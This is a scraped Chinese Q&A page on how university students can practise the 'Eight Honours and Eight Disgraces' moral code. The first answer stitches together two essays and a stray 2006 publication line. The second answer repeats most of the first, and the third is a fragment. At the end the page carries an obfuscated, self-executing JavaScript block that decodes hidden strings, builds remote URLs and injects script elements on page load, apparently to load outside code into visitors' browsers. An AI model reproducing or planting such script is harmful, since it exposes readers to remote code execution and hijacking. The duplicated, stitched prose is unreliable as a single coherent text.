大学生如何实践八荣八耻

大学生如何实践八荣八耻
2025-03-14 11:53:08
推荐回答(3个)
回答1:

  胡锦涛同志提出的“八荣八耻”社会主义荣辱观,体现了党中央对大学生的一贯要求,对于大学生思想政治教育,尤其是大学生荣辱观的培养,具有重要的现实意义和深远的历史影响。
  一、“八荣八耻”为当代大学生荣辱观的培养提供了新的契机和保障条件

  大学生是社会主义现代化建设的后备军和接班人,思想道德素质是大学生综合素质一个极其重要的组成部分。因此,我们党和国家历来重视对大学生思想道德的培养,以造就德智体美等各个方面协调发展的优秀人才。进入新世纪之后,《公民道德建设实施纲要》、《关于进一步加强和改进大学生思想政治教育的意见》等文件的颁布,为大学生思想道德建设提供了纲领性指导。此次“八荣八耻”的提出,既是我们党和国家在青少年思想道德建设上一贯态度的体现,又是上述纲领性文件的深化和具体化。《公民道德建设实施纲要》中提出,要在全社会大力提倡“爱国守法、明礼诚信、团结友善、勤俭自强、敬业奉献”的基本道德规范,从内容上说,“八荣八耻”无疑是从荣辱观的高度对20字基本道德规范的具体展开,与当代大学生成人成才的愿望和目标是一致的,为当代大学生思想道德素质尤其是荣辱观的培养,提供了新的契机和保障条件。

  首先,从大学生成人成才的角度来说,“八荣八耻”与当代大学生渴望成人成才的愿望和目标是一致的。大学生正处于知识积累和个性培养的关键时期,他们朝气蓬勃、疾恶如仇、态度积极、目光远大,希望学成之后能够报效祖国和人民。同时,他们也深深地认识到,将来能够在社会主义建设中发挥更大作用,在激烈的竞争中处于有利位置,除了要掌握扎实、丰富的专业知识和技能外,优良的道德素质和个人品质也是十分重要的。“八荣八耻”的社会主义荣辱观既包含了追求知识、热爱科学的内容,也包含了在社会中立足和增强竞争力的各种品质要求,与大学生成人成才的愿望和目标是完全一致的,对于大学生成人成才有着积极的引导作用。

  其次,从学校教育的角度来说,“八荣八耻”为大学生优良素质的培养提供了新的契机。在大学生成人成才过程中,教师和学校的管理者起着非常重要的作用,教育者的个性、兴趣、知识、气质、品德不仅是一个学校办学特色的体现,而且对学生的成长有着直接或者间接的影响。“八荣八耻”荣辱观的提出,一方面促进了学校的道德教育,有利于教书育人过程中通过科学规划有效培养和提高受教育者的道德素质;另一方面,也会对教育者本身的观念和行为产生深刻影响,更好地发挥教育者言传身教、以身作则的作用。

  最后,从社会环境的角度来看,“八荣八耻”为大学生思想道德素质的提高提供了有力保障。大学生成人成才既需要自己的主观努力,同时也要求有一个优良的社会环境。而由于种种原因,社会风气的构成呈现出复杂的状态,其中的不同成分和可能出现的种种变化都会在不同程度上影响大学生良好道德品质的形成。尤其是社会中存在的一些腐朽没落观念,会时时抵消学校道德教育的努力和成果。因此,大学生思想道德素质的提高不仅是学校的任务,也是全社会的职责。

  二、“八荣八耻”是当代大学生思想政治教育实践的指导

  当代大学生思想政治教育实践,一项根本的内容,就是要培养他们“荣荣耻耻”的观念。这一观念的树立和强化,既需要大学生自己的主观努力,又是学校乃至整个社会的重要职责。

  在大学生中树立社会主义荣辱观,青年学生首先要自己做到自省自律、知耻改过。中国传统道德修养理论中,对于自省、改过、慎独等都非常重视,要求人们“日三省吾身”、“过则勿惮改”、“君子慎其独”,这些思想,在中国历史上产生了深远影响,有力地促进了中华民族优秀道德传统的形成和发展。在大学生思想政治教育包括荣辱观的培养中,应当积极引导大学生自觉地养成自律自省的意识和知耻改过的观念,勇于反省自己的思想和行为,明确辨别是非荣辱,自觉加强自我约束,使优良思想道德观念的培养成为他们主动的人生追求。

  对于高校思想政治教育来说,要从提高大学生辨别是非荣辱的能力和意识入手,大力加强荣辱观的教育。学校是进行系统道德教育的重要阵地,学校的思想道德教育不能单纯停留在课堂讲授知识上,而是必须采取丰富多彩的形式和手段,通过感化、熏陶等各种途径,使大学生养成良好的观念和行为。因此,在学校思想政治教育中,首先要通过提高学生的认识,帮助他们形成明确识别善恶美丑的能力,这是思想政治教育的起点和基础。同时,还要通过各种课内、课外的活动,陶冶他们的情感,锻炼他们的意志,使他们形成正确的信念,养成良好的习惯。要使这一工作取得实效,就需要学校的各个部门互相配合,不断创新,密切关注学生的思想变化,从而有针对性地采取切实有效的方式。此外,教师和管理、服务人员的观念和行为都会对学生产生潜移默化的影响,要积极通过提高师德、反对学术腐败等各种途径,提高教育者的素质,使他们对学生起到表率和榜样的作用。中国人民大学一直重视学生思想素质和道德素质的培养,在建设“人民满意、世界一流”大学进程中,对学生提出了“国民表率、社会栋梁”的成人成才目标。这一目标,既反映了大学生的追求和理想,也是社会对他们的期望,同树立社会主义的荣辱观的要求是一致的。

  对大学生的荣辱观教育,还需要全社会营造一个“荣荣耻耻”的环境。学校教育并不是封闭的教育,社会上的各种观念和思想,都会给大学生的成长造成直接或间接的影响。在大学生思想观念形成过程中,当然离不开本人的主观努力和学校的教育引导,同时他们更希望能有一个良好的社会氛围。因此,为了给青少年,包括大学生的荣辱观培养创造一个良好的环境,必须加强公民道德建设,在广大人民群众中树立“八荣八耻”的社会主义荣辱观,大力改善社会风气。

  关键词:社会主义荣辱观“八荣八耻”标准文化文明

  上下五千年,悠悠几千载,古老的华夏文明造就的这片土地上,曾随着解放的暖流,出现了前所未有的大团结,也曾伴着改革开放的春风,迎来了空前的发展大潮。而今,当科教兴国,人才强国,构建和谐社会,建设社会主义新农村,节约型社会、结构化升级等等一系列让国民心弦振奋绷紧神经的字眼一次又一次出现在眼前的时候,一股股自豪幸福的感动伴随着每个国人的爱国情节油然而生。而在今年的“两会”期间,社会主义荣辱观的提出,再一次点亮了人民的心灵。

  “荣”与“耻”,这样的词汇似乎距离我们有些遥远,如果说我们并不陌生的话,也好像只有搞爱国主义教育的时候或者特定的情况下,才有“荣”与“耻”的感觉,我想这些感觉通常来自教育的渗透以及传统文化的继承,但在现实中,对于经济文化日新月异的中华大地,给“荣”与“耻”一个权威的标准,提升到主流,这应该是第一次。从某种意义上说,胡总书记提出的“八荣八耻”为世人行事规定了标准,而尤其对于正在文化潮流中搏击又被多元文化层层拍打以至于不失迷惘的当代大学生,更始提出了标准化的要求。

  “八荣八耻”是规范当代大学生行为,思想的标准,是全社会的价值观,荣辱观,属于基本的思想道德范畴。作为当代的大学生,首先,要做“有文化、有道德、有理想、有纪律”的四有新人,其次,要树立正确的世界观、人生观和价值观;当代大学生是中华文化的传承者,他们努力奋斗、艰苦求学,最终目的就是要把个人价值同国家命运联系在一起,同民族振兴联系在一起。为人民服务、为国家奉献,在这个过程中,增强民族自尊心、自信心和自豪感则是思想上的必由之路;当代大学生是新时代道德规范的实践者,是新兴风尚的创造者,而对于新生事物,广大青年怎样去伪存真,取其精华,去其糟粕,则是关系到民族进步和社会发展的又一个问题。恰恰,在“荣辱观”的规范之下,这些问题都有了明确的答案。“社会主义荣辱观”的提出为大学生确立了远大理想,树立了正确的世界观,人生观和价值观提供标准,环顾四周,生活在身边的大学生面对多元文化的侵蚀,有多少人找不到方向而最终被淹没。比如,大学生心理问题一度成为社会上的焦点;“心理模糊”“心理脆弱”早已耳熟能详,更有甚者把心情低沉,没有理想,在赋予了一个具有时代特质的词汇——郁闷的包装之后,便推向时尚的前沿,竟然被一些人所接受?在一些学生低迷到极端走向人生渊底的一刹那,“国家”“民族”是否有过踪影,“荣”与“耻”,在没有概念化的思维里,可能早已失去了平衡。

  胡锦涛总书记提出的“八荣八耻”为我们明确地指出了一个标准。(1)“社会主义荣辱观”为当代大学生思想道德的培养提供了标准,“思想道德建设”是精神文明建设的主要任务,当代大学生思想太脆弱,有太多的前卫元素,他们真的能够衡量何为“美食”何为“毒虫”?如果能总得有个标准吧!现实中,举国上下在为人与自然和谐相处而努力的时候,某些大学生却在论坛上为“踩猫事件”争辩不休。人的思想是受社会影响的,当人们不能辨别荣辱善恶的时候,那些腐蚀的元素就会钻进人的大脑,外因改变内因从而引起质变,对社会造成极大的影响。而“社会主义荣辱观”的提出,将会作为衡量标准,区分善恶、美丑。“社会主义荣辱观”为当代大学生文化素质的培养提供了明确的方向,一个国家的教育,决定着这个国家的兴衰,高等教育更是占有主导地位,当前我国处于转型的重要时期,文化多元化,思想多样化,特别是数字、电子技术的飞速发展,使人们获取信息和知识的渠道大大的加宽,与此同时,我们不得不对一些现象感到忧虑,比如,网络游戏不时让一些大学生迷失自我,深馅其中;大学生模仿暴力,拜金的现象时有出现;考分万岁,及格万岁的纯真的文化教育找不到道德教育的影子,他们所学、所见、所闻中似乎对异类事物更加有浓厚的兴趣,这些学生缺少是与非、美与丑、善与恶的辨别能力,偏离了社会主流价值观念,“八荣八耻”的出现为当代大学生的文化素质的培养指明了方向,为我国文化发展提供了底线标准。

  “社会主义荣辱观”为当代大学生的文明行为养成教育提供了标准。华夏文明,源远流长,文明的养成同样关系到民族的命运与发展,失去文明行为便失去了民族素质,失去了素质便失去了民族尊严,而失去了尊严便等于失去了一切,文明行为的教育非常重要。现实中,随地扔纸吐痰是不文明,不尊师重友是不文明,语言晦涩也是不文明……而这些基本元素综合起来就能够构成评价一个环境文明与否的标准,古有“宁可穷而有志,不可穷而失节”,如今还有什么突出的字眼能够让群众铭记在心?

  “八荣八耻”的提出,为现今我们文明行为的养成提供了标准,让我们在这个标准下,彻底认清损人利己、违法乱纪、好逸恶劳萌芽状态的真面目,再也不用茫然。国家呼吁要对全国人民进行荣辱观教育,尤其针对青少年十分重要,“八荣八耻”涵盖了爱国主义、集体主义和社会主义思想的丰富内容,是中国传统美德和时代精神的完美结合,是以爱国主义为核心的民族精神和以改革创新为核心的时代精神的鲜明表达,为公民道德建设树起了新的标杆(2),当代大学生是今后祖国建设的主力军和领导者,对当代大学生进行荣辱观教育,就是让我们的国民更加进步,让我们的民族获得更长远的发展。不同的时代,荣辱观有着不同的内涵,“八荣八耻”是时代的需求,也是我们国家在社会主义现代化建设中思想道德建设的根本标准,当代大学生应该抓住大好时机,形成以“八荣八耻”为主要内容的社会主义荣辱观,并体现在每一个行为当中,认真实践,为早日实现中华民族的伟大复兴而努力奋斗。

  八荣八耻:历史语境与时代诉求

  发布时间:2006-05-27 17:18:22 发布人:南湖青年 新闻来源:《学习时报》

回答2:

胡锦涛同志提出的“八荣八耻”社会主义荣辱观,体现了党中央对大学生的一贯要求,对于大学生思想政治教育,尤其是大学生荣辱观的培养,具有重要的现实意义和深远的历史影响。
一、“八荣八耻”为当代大学生荣辱观的培养提供了新的契机和保障条件

大学生是社会主义现代化建设的后备军和接班人,思想道德素质是大学生综合素质一个极其重要的组成部分。因此,我们党和国家历来重视对大学生思想道德的培养,以造就德智体美等各个方面协调发展的优秀人才。进入新世纪之后,《公民道德建设实施纲要》、《关于进一步加强和改进大学生思想政治教育的意见》等文件的颁布,为大学生思想道德建设提供了纲领性指导。此次“八荣八耻”的提出,既是我们党和国家在青少年思想道德建设上一贯态度的体现,又是上述纲领性文件的深化和具体化。《公民道德建设实施纲要》中提出,要在全社会大力提倡“爱国守法、明礼诚信、团结友善、勤俭自强、敬业奉献”的基本道德规范,从内容上说,“八荣八耻”无疑是从荣辱观的高度对20字基本道德规范的具体展开,与当代大学生成人成才的愿望和目标是一致的,为当代大学生思想道德素质尤其是荣辱观的培养,提供了新的契机和保障条件。

首先,从大学生成人成才的角度来说,“八荣八耻”与当代大学生渴望成人成才的愿望和目标是一致的。大学生正处于知识积累和个性培养的关键时期,他们朝气蓬勃、疾恶如仇、态度积极、目光远大,希望学成之后能够报效祖国和人民。同时,他们也深深地认识到,将来能够在社会主义建设中发挥更大作用,在激烈的竞争中处于有利位置,除了要掌握扎实、丰富的专业知识和技能外,优良的道德素质和个人品质也是十分重要的。“八荣八耻”的社会主义荣辱观既包含了追求知识、热爱科学的内容,也包含了在社会中立足和增强竞争力的各种品质要求,与大学生成人成才的愿望和目标是完全一致的,对于大学生成人成才有着积极的引导作用。

其次,从学校教育的角度来说,“八荣八耻”为大学生优良素质的培养提供了新的契机。在大学生成人成才过程中,教师和学校的管理者起着非常重要的作用,教育者的个性、兴趣、知识、气质、品德不仅是一个学校办学特色的体现,而且对学生的成长有着直接或者间接的影响。“八荣八耻”荣辱观的提出,一方面促进了学校的道德教育,有利于教书育人过程中通过科学规划有效培养和提高受教育者的道德素质;另一方面,也会对教育者本身的观念和行为产生深刻影响,更好地发挥教育者言传身教、以身作则的作用。

最后,从社会环境的角度来看,“八荣八耻”为大学生思想道德素质的提高提供了有力保障。大学生成人成才既需要自己的主观努力,同时也要求有一个优良的社会环境。而由于种种原因,社会风气的构成呈现出复杂的状态,其中的不同成分和可能出现的种种变化都会在不同程度上影响大学生良好道德品质的形成。尤其是社会中存在的一些腐朽没落观念,会时时抵消学校道德教育的努力和成果。因此,大学生思想道德素质的提高不仅是学校的任务,也是全社会的职责。

二、“八荣八耻”是当代大学生思想政治教育实践的指导

当代大学生思想政治教育实践,一项根本的内容,就是要培养他们“荣荣耻耻”的观念。这一观念的树立和强化,既需要大学生自己的主观努力,又是学校乃至整个社会的重要职责。

在大学生中树立社会主义荣辱观,青年学生首先要自己做到自省自律、知耻改过。中国传统道德修养理论中,对于自省、改过、慎独等都非常重视,要求人们“日三省吾身”、“过则勿惮改”、“君子慎其独”,这些思想,在中国历史上产生了深远影响,有力地促进了中华民族优秀道德传统的形成和发展。在大学生思想政治教育包括荣辱观的培养中,应当积极引导大学生自觉地养成自律自省的意识和知耻改过的观念,勇于反省自己的思想和行为,明确辨别是非荣辱,自觉加强自我约束,使优良思想道德观念的培养成为他们主动的人生追求。

对于高校思想政治教育来说,要从提高大学生辨别是非荣辱的能力和意识入手,大力加强荣辱观的教育。学校是进行系统道德教育的重要阵地,学校的思想道德教育不能单纯停留在课堂讲授知识上,而是必须采取丰富多彩的形式和手段,通过感化、熏陶等各种途径,使大学生养成良好的观念和行为。因此,在学校思想政治教育中,首先要通过提高学生的认识,帮助他们形成明确识别善恶美丑的能力,这是思想政治教育的起点和基础。同时,还要通过各种课内、课外的活动,陶冶他们的情感,锻炼他们的意志,使他们形成正确的信念,养成良好的习惯。要使这一工作取得实效,就需要学校的各个部门互相配合,不断创新,密切关注学生的思想变化,从而有针对性地采取切实有效的方式。此外,教师和管理、服务人员的观念和行为都会对学生产生潜移默化的影响,要积极通过提高师德、反对学术腐败等各种途径,提高教育者的素质,使他们对学生起到表率和榜样的作用。中国人民大学一直重视学生思想素质和道德素质的培养,在建设“人民满意、世界一流”大学进程中,对学生提出了“国民表率、社会栋梁”的成人成才目标。这一目标,既反映了大学生的追求和理想,也是社会对他们的期望,同树立社会主义的荣辱观的要求是一致的。

对大学生的荣辱观教育,还需要全社会营造一个“荣荣耻耻”的环境。学校教育并不是封闭的教育,社会上的各种观念和思想,都会给大学生的成长造成直接或间接的影响。在大学生思想观念形成过程中,当然离不开本人的主观努力和学校的教育引导,同时他们更希望能有一个良好的社会氛围。因此,为了给青少年,包括大学生的荣辱观培养创造一个良好的环境,必须加强公民道德建设,在广大人民群众中树立“八荣八耻”的社会主义荣辱观,大力改善社会风气。

关键词:社会主义荣辱观“八荣八耻”标准文化文明

上下五千年,悠悠几千载,古老的华夏文明造就的这片土地上,曾随着解放的暖流,出现了前所未有的大团结,也曾伴着改革开放的春风,迎来了空前的发展大潮。而今,当科教兴国,人才强国,构建和谐社会,建设社会主义新农村,节约型社会、结构化升级等等一系列让国民心弦振奋绷紧神经的字眼一次又一次出现在眼前的时候,一股股自豪幸福的感动伴随着每个国人的爱国情节油然而生。而在今年的“两会”期间,社会主义荣辱观的提出,再一次点亮了人民的心灵。

“荣”与“耻”,这样的词汇似乎距离我们有些遥远,如果说我们并不陌生的话,也好像只有搞爱国主义教育的时候或者特定的情况下,才有“荣”与“耻”的感觉,我想这些感觉通常来自教育的渗透以及传统文化的继承,但在现实中,对于经济文化日新月异的中华大地,给“荣”与“耻”一个权威的标准,提升到主流,这应该是第一次。从某种意义上说,胡总书记提出的“八荣八耻”为世人行事规定了标准,而尤其对于正在文化潮流中搏击又被多元文化层层拍打以至于不失迷惘的当代大学生,更始提出了标准化的要求。

“八荣八耻”是规范当代大学生行为,思想的标准,是全社会的价值观,荣辱观,属于基本的思想道德范畴。作为当代的大学生,首先,要做“有文化、有道德、有理想、有纪律”的四有新人,其次,要树立正确的世界观、人生观和价值观;当代大学生是中华文化的传承者,他们努力奋斗、艰苦求学,最终目的就是要把个人价值同国家命运联系在一起,同民族振兴联系在一起。为人民服务、为国家奉献,在这个过程中,增强民族自尊心、自信心和自豪感则是思想上的必由之路;当代大学生是新时代道德规范的实践者,是新兴风尚的创造者,而对于新生事物,广大青年怎样去伪存真,取其精华,去其糟粕,则是关系到民族进步和社会发展的又一个问题。恰恰,在“荣辱观”的规范之下,这些问题都有了明确的答案。“社会主义荣辱观”的提出为大学生确立了远大理想,树立了正确的世界观,人生观和价值观提供标准,环顾四周,生活在身边的大学生面对多元文化的侵蚀,有多少人找不到方向而最终被淹没。比如,大学生心理问题一度成为社会上的焦点;“心理模糊”“心理脆弱”早已耳熟能详,更有甚者把心情低沉,没有理想,在赋予了一个具有时代特质的词汇——郁闷的包装之后,便推向时尚的前沿,竟然被一些人所接受?在一些学生低迷到极端走向人生渊底的一刹那,“国家”“民族”是否有过踪影,“荣”与“耻”,在没有概念化的思维里,可能早已失去了平衡。

胡锦涛总书记提出的“八荣八耻”为我们明确地指出了一个标准。(1)“社会主义荣辱观”为当代大学生思想道德的培养提供了标准,“思想道德建设”是精神文明建设的主要任务,当代大学生思想太脆弱,有太多的前卫元素,他们真的能够衡量何为“美食”何为“毒虫”?如果能总得有个标准吧!现实中,举国上下在为人与自然和谐相处而努力的时候,某些大学生却在论坛上为“踩猫事件”争辩不休。人的思想是受社会影响的,当人们不能辨别荣辱善恶的时候,那些腐蚀的元素就会钻进人的大脑,外因改变内因从而引起质变,对社会造成极大的影响。而“社会主义荣辱观”的提出,将会作为衡量标准,区分善恶、美丑。“社会主义荣辱观”为当代大学生文化素质的培养提供了明确的方向,一个国家的教育,决定着这个国家的兴衰,高等教育更是占有主导地位,当前我国处于转型的重要时期,文化多元化,思想多样化,特别是数字、电子技术的飞速发展,使人们获取信息和知识的渠道大大的加宽,与此同时,我们不得不对一些现象感到忧虑,比如,网络游戏不时让一些大学生迷失自我,深馅其中;大学生模仿暴力,拜金的现象时有出现;考分万岁,及格万岁的纯真的文化教育找不到道德教育的影子,他们所学、所见、所闻中似乎对异类事物更加有浓厚的兴趣,这些学生缺少是与非、美与丑、善与恶的辨别能力,偏离了社会主流价值观念,“八荣八耻”的出现为当代大学生的文化素质的培养指明了方向,为我国文化发展提供了底线标准。

“社会主义荣辱观”为当代大学生的文明行为养成教育提供了标准。华夏文明,源远流长,文明的养成同样关系到民族的命运与发展,失去文明行为便失去了民族素质,失去了素质便失去了民族尊严,而失去了尊严便等于失去了一切,文明行为的教育非常重要。现实中,随地扔纸吐痰是不文明,不尊师重友是不文明,语言晦涩也是不文明……而这些基本元素综合起来就能够构成评价一个环境文明与否的标准,古有“宁可穷而有志,不可穷而失节”,如今还有什么突出的字眼能够让群众铭记在心?

“八荣八耻”的提出,为现今我们文明行为的养成提供了标准,让我们在这个标准下,彻底认清损人利己、违法乱纪、好逸恶劳萌芽状态的真面目,再也不用茫然。国家呼吁要对全国人民进行荣辱观教育,尤其针对青少年十分重要,“八荣八耻”涵盖了爱国主义、集体主义和社会主义思想的丰富内容,是中国传统美德和时代精神的完美结合,是以爱国主义为核心的民族精神和以改革创新为核心的时代精神的鲜明表达,为公民道德建设树起了新的标杆(2),当代大学生是今后祖国建设的主力军和领导者,对当代大学生进行荣辱观教育,就是让我们的国民更加进步,让我们的民族获得更长远的发展。不同的时代,荣辱观有着不同的内涵,“八荣八耻”是时代的需求,也是我们国家在社会主义现代化建设中思想道德建设的根本标准,当代大学生应该抓住大好时机,形成以“八荣八耻”为主要内容的社会主义荣辱观,并体现在每一个行为当中,认真实践,为早日实现中华民族的伟大复兴而努力奋斗。

回答3:

哪几个方面

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 